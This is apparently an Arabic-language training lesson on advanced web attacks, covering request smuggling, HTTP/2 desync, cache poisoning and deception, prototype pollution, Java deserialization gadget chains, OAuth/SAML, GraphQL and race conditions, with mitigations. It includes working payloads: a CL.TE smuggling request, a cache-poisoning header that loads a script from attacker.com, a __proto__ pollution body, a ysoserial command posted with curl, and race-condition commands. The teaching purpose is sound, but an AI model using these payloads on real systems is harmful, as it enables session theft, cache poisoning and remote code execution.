Advanced Web — Smuggling و Desync
Request Smuggling و HTTP/2 Desync و Deserialization chains
الويب على مستوى الخبراء
عرفت SQLi؟ XSS؟ IDOR؟ تمام.
- طب أنا حافظ Top 10، يبقى أنا web hacker مظبوط؟
يا مستجد. الـ Top 10 ده الأبجدية. إحنا هنا بنقرا أدب.
طب لما الـ frontend والـ backend يختلفوا في تفسير نفس الـ HTTP request؟
طب لما تخدع الـ cache يخزّن صفحة الضحية الشخصية (بكل بياناته جواها)، وتيجي إنت بعدها تطلبها بنفس الـ URL وتلاقيها قدامك جاهزة؟
طب لما تمرّر CRLF في header فتحقن response جديد بالكامل؟
SELECT * FROM users WHERE id = $input من غير ما يـ sanitize. تمام، الغلطة واضحة، والإصلاح واضح.هنا في الدرس ده، المبرمج كاتب كوده صح. مفيش غلطة في كوده هو.
الثغرة عايشة في الفجوة بين الـ components اللي طلبه ماشي بينهم: الـ CDN، الـ load balancer، الـ reverse proxy، الـ backend. كل واحد منهم منتج شركة مختلفة، وكل واحد قارا الـ RFC وفهمه بطريقته الخاصة.
تخيّل خطاب بيوصلك من السفارة. مرّ على 4 موظفين قبل ما يوصلك:
الأول قراه إن الموعد يوم الأحد، التاني قراه يوم الاتنين، التالت ختمه على الأحد، الرابع وقّع على الاتنين.
المهاجم بيستغل الفرق ده. بيبعت طلب HTTP الـ frontend بيقراه على إنه طلب واحد، والـ backend بيقراه على إنه اتنين. أو الـ cache بيخزّنه كصفحة عامة، والـ origin بيرجّعها كصفحة شخصية.
الكود مش غلط. الفهم بين الأطراف هو اللي غلط. والمهاجم بيعيش في الفجوة دي.
حكاية: PortSwigger Top 10 of 2019 — Request Smuggling رجع من الموت
الدرس: الثغرات القديمة ما بتموتش — بترجع كل ما الـ stack يتغيّر. اللي اتعلم البروتوكول من الجذر، بيلاقي الثغرات قبل ما تتنشر.
HTTP Request Smuggling — لما الـ frontend والـ backend يختلفوا
أنواع الـ desync
- CL.TE — الـ frontend يستخدم Content-Length، الـ backend يستخدم Transfer-Encoding.
- TE.CL — العكس.
- TE.TE — كلاهما يدعمان TE لكن يفسّران obfuscation بشكل مختلف.
- HTTP/2 → HTTP/1 downgrade — frontend HTTP/2 يحوّل لـ backend HTTP/1.
- H2.CL / H2.TE — تهريب عبر HTTP/2 mismatched headers.
POST / HTTP/1.1
Host: target.gov
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLEDالـ frontend بيقرا الـ 13 بايت كرسالة واحدة. الـ backend بيشوف chunked → 0 = خلاص نهاية، وبيعتبر SMUGGLED أول الرسالة اللي بعدها من ضحية حقيقية. مين هي الضحية؟ أي حد جاي وراك في نفس الـ connection.
هتعمل بيها إيه؟
- تسرق session cookies لليوزرز اللي جايين بعدك.
- تسمم الـ cache.
- تتخطى access controls اللي على الـ frontend.
- تحقن XSS على ضحايا تانيين.
- تسرق كل الـ headers بما فيهم الـ Authorization.
الكشف والأدوات
- HTTP Request Smuggler (Burp extension by Albinowax).
- smuggler.py (defparam).
- h2cSmuggler.
- Burp Repeater مع timing differential analysis.
- HTTP/2 من الأول للآخر (مفيش downgrade للـ backend).
- ارفض أي request جاي بـ Content-Length و Transfer-Encoding مع بعض.
- الـ frontend والـ backend من نفس الـ vendor ونفس الإصدار.
- استخدم haproxy/nginx h2-mode strict.
- راقب الـ logs على حجم body مختلف عن الـ Content-Length.
HTTP/2 و gRPC — جبهة جديدة بالكامل
- Rapid Reset (CVE-2023-44487) — DoS عبر فتح streams و إغلاقها فوراً.
- HPACK bombs — header compression للضغط على الـ memory.
- CONTINUATION flood (CVE-2024-27316) — frames بلا END_HEADERS.
- gRPC: تجاوز auth بـ
:authorityoverride، deserialization في الـ Protobuf.
Server-Side Cache Poisoning
# 1) ابحث عن header غير مدرج في الـ cache key
GET / HTTP/1.1
Host: target.gov
X-Forwarded-Host: attacker.com
# 2) لو الموقع يعكس X-Forwarded-Host في الـ HTML/JS:
<script src="//attacker.com/main.js">
# 3) الـ cache يحفظ النتيجة. كل زائر تالٍ يحمّل JS من المهاجم.الأداة: Param Miner (Burp) عشان تكتشف الـ unkeyed inputs.
Vary أو للـ cache key. وطبّق normalization صارم على مستوى الـ CDN.Web Cache Deception — المرايا
عكس الـ Cache Poisoning بالظبط: هنا إنت بتخدع الـ cache يحفظ صفحة خاصة بيوزر معين كأنها static.
# المستخدم لديه /account => يُرجع بياناته الشخصية
# المهاجم يرسل له رابط:
https://target.gov/account/photo.css
# الـ proxy يرى ".css" => يحفظها كـ static
# المهاجم يفتح نفس الرابط => يحصل على بيانات الضحيةPrototype Pollution — JavaScript
في JavaScript، كل object بيورث من Object.prototype. لو لوّثت الـ prototype ده، إنت لوّثت كل object في التطبيق دفعة واحدة.
// كود hashmap بسيط
function merge(target, source) {
for (let k in source) {
if (typeof source[k] === 'object') merge(target[k], source[k]);
else target[k] = source[k];
}
}
// payload في JSON body
{ "__proto__": { "isAdmin": true } }
// الآن: ({}).isAdmin === true لكل object في التطبيق!فيه Gadget chains معروفة على Express وLodash وjQuery بتحول الـ PP لـ RCE كامل.
الأدوات: ppmap, ppfuzz, server-side-prototype-pollution-gadgets (PortSwigger).
- استخدم Map و Object.create(null) بدل الـ plain objects.
- اعمل Object.freeze(Object.prototype) في الـ entrypoint.
- في Node.js: شغّل بـ
--disable-proto=delete. - Lint بـ eslint-plugin-security + semgrep.
Insecure Deserialization — سلاسل الـ Gadgets
الـ gadget chain هو ترتيب لكلاسات موجودة فعلاً في الـ classpath، لو فككت الـ deserialization بترتيب معين، الكلاسات نفسها بتنفذ كود من غير ما إنت تكتب سطر. إنت بتستخدم سلاحه عليه.
الأشهر في الميدان
ysoserial.net للـ .NET.
__reduce__.# توليد payload يستغل CommonsCollections1 لتنفيذ id
java -jar ysoserial.jar CommonsCollections1 'id' | base64
# يُحقن في أي endpoint يستخدم ObjectInputStream
curl -X POST https://target/api/import \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary @payload.bin- متعملش deserialization على داتا جاية من بره أصلاً. ده الحل الصح.
- لو مضطر: whitelist صارم للـ classes (LookAheadObjectInputStream).
- خليك مرقع: Java SerialFilter، Microsoft AppDomainSwitches.
- استخدم JSON Schema / Protobuf بدل الـ native serialization.
- لو لازم تستخدمها بين خدماتك الداخلية بس، وقّع الـ payloads بـ HMAC.
OAuth & SSO — هجمات القفل الذهبي
- Account takeover via dangling redirect_uri — تسجل subdomain منتهية وتستخدمها redirect.
- OAuth covert redirect — redirect_uri فيه open redirect.
- SAML XSW (Signature Wrapping) — تلعب في الـ XML بحيث التوقيع يتحقق على جزء، ويتقرا جزء تاني خالص.
- JWT confused deputy — توكن جاي من issuer تاني بيتقبل لأن محدش بيفحص الـ
iss. - Cross-tenant takeover في SaaS متعدد الـ tenants عن طريق trust بايظ.
GraphQL — هجمات أعمق
{
a1: user(id:1) { posts { comments { author { posts { comments { ... } } } } } }
a2: user(id:2) { ... }
... 1000 aliases
}- Field suggestions بيكشف الـ schema حتى لو الـ introspection مقفول.
- Mutation race conditions: aliases كتير عشان تستهلك نقاط reward قبل ما يتفحصوا.
- auth ضعيف على resolvers معينة لأن حد نسي يحط الفحص.
Race Conditions — ثواني بتكلف ملايين
# 50 طلب متزامن لاستخدام كوبون تخفيض مرة واحدة
turbo-intruder + race-single-packet attack
# أو
GO + curl --parallel
ffuf -threads 50 -u https://target/redeem?code=PROMO- Turbo Intruder + single-packet attack (PortSwigger 2023) بيبعت عشرات الـ requests في TCP packet واحدة.
- التأثير: سحب رصيد متكرر، تخطي email verification، حجز اسم يوزر محجوز لحد تاني.
- Database-level locks (
SELECT ... FOR UPDATE). - Idempotency keys على كل عملية حساسة.
- Atomic decrement (
UPDATE ... SET stock = stock - 1 WHERE stock > 0). - Distributed locks (Redis, Zookeeper) لما تحتاج.
إزاي تصطاد ثغرات حقيقية؟
- اقرا الكود لو قادر: source review >> black-box. مفيش مقارنة.
- اطلع بره الـ checklist: OWASP خطوة واحدة، الإبداع باقي السكة.
- افهم الـ business logic: أغلى الثغرات بتختبي هنا، مش في الـ payload.
- وصّل الثغرات ببعض: SSRF صغير + open redirect + IDOR = اختراق كامل.
- وثّق proof-of-impact بشكل واضح للـ blue team.
غلطات الـ junior في الويب المتقدم
- يجرّب smuggling payloads عشوائي — من غير ما يفهم الـ frontend والـ backend اللي قدامه. الـ payload بتاع CL.TE مش هيشتغل على HTTP/2 endpoint.
- يقول "Race condition" على كل حاجة — في فرق بين race حقيقي وبين "السيرفر استجاب مرتين مع بعض". لازم تثبت impact.
- يفتكر إن CSP بتقفل XSS — الـ CSP فيها 1000 bypass: JSONP endpoints, base-uri, dangling markup. اقرا CSP Evaluator قبل ما تقول "محمي".
- ينسى الـ secondary context — SSTI ممكن تطلع في email templates، PDF generators، error pages. مش بس الـ main view.
- يبلّغ بـ "تكنيك" بدل "impact" — "لقيت CRLF" مش finding. "لقيت CRLF بستخدمه أحقن Set-Cookie فأسرق session" دي finding.
الخلاصة الناشفة
الويب المتقدم مش تقنيات أكتر — هو فهم أعمق.
كل bug class هنا (smuggling, cache poisoning, SSTI, race conditions) بتطلع من نفس المبدأ: اتنين components بيختلفوا في تفسير نفس البيانات.
اللي بيتعلم المبدأ، بيلاقي الـ bug في أي stack.
اللي بيحفظ payloads، بيلاقي الـ bugs اللي اتنشرت — ومش بيلاقي حاجة جديدة أبداً.
اكتبها على غلاف الكشكول:
الثغرة بتعيش في الفجوة بين اتنين components بيختلفوا في الفهم. دوّر على الفجوة، مش على الـ payload.